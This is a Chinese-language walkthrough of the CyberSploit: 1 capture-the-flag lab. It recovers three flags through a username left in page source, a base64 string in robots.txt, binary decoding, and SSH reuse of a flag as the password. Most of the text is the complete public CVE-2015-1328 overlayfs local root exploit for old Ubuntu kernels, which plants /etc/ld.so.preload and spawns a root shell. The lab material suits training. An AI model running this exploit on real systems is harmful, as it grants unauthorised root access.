靶机下载地址：戳我
THIS IS A MACHINE FOR COMPLETE BEGINNER , THERE ARE THREE FALGS AVAILABLE IN THIS VM.
FROM THIS VMs YOU WILL LEARN ABOUT ENCODER-DECODER & EXPLOIT-DB.
描述说了，有三个flag，开干吧。
0x00 前期工作
使用kali探测存活主机，得到CyberSploit: 1靶机的ip为192.168.58.146
探测端口的开放情况：
0x01 信息收集
22端口，hydra爆破失败：
访问80端口，界面大概长这样，应该后期需要渗透。
在网页源代码中可以找到提示信息：
<!-------------username:itsskv--------------------->
0x02 获取flag
flag1
访问robots.txt，得到一串base64，解密得到第一个flag（好简单）
R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9
// Good Work ! Flag1: cybersploit{youtube.com/c/cybersploit}
flag2
使用username:itsskv，password：cybersploit{youtube.com/c/cybersploit}可以成功登陆ssh：
当前目录下可以找到flag2.txt
使用python对这串二进制进行处理得到明文。
strr = "01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 01101011 00100000 00100001 00001010 01100110 01101100 01100001 01100111 00110010 00111010 00100000 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 01111011 01101000 01110100 01110100 01110000 01110011 00111010 01110100 00101110 01101101 01100101 00101111 01100011 01111001 01100010 01100101 01110010 01110011 01110000 01101100 01101111 01101001 01110100 00110001 01111101"
strr = strr.split()
for i in strr:
print(chr(int(i,2)),end="")
#good work !
#flag2: cybersploit{https:t.me/cybersploit1}
flag3
使用lsb_release -a命令查看版本信息：
Distributor ID: Ubuntu Description: Ubuntu 12.04.5 LTS Release: 12.04 Codename: precise
因为是12.04，我使用了Ubuntu本地提权漏洞（CVE-2015-1328）进行提权：
复制以下代码（Ubuntu_EXP.c）到靶机：
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
赋予777权限，接着编译并运行：
查看finfalflag：
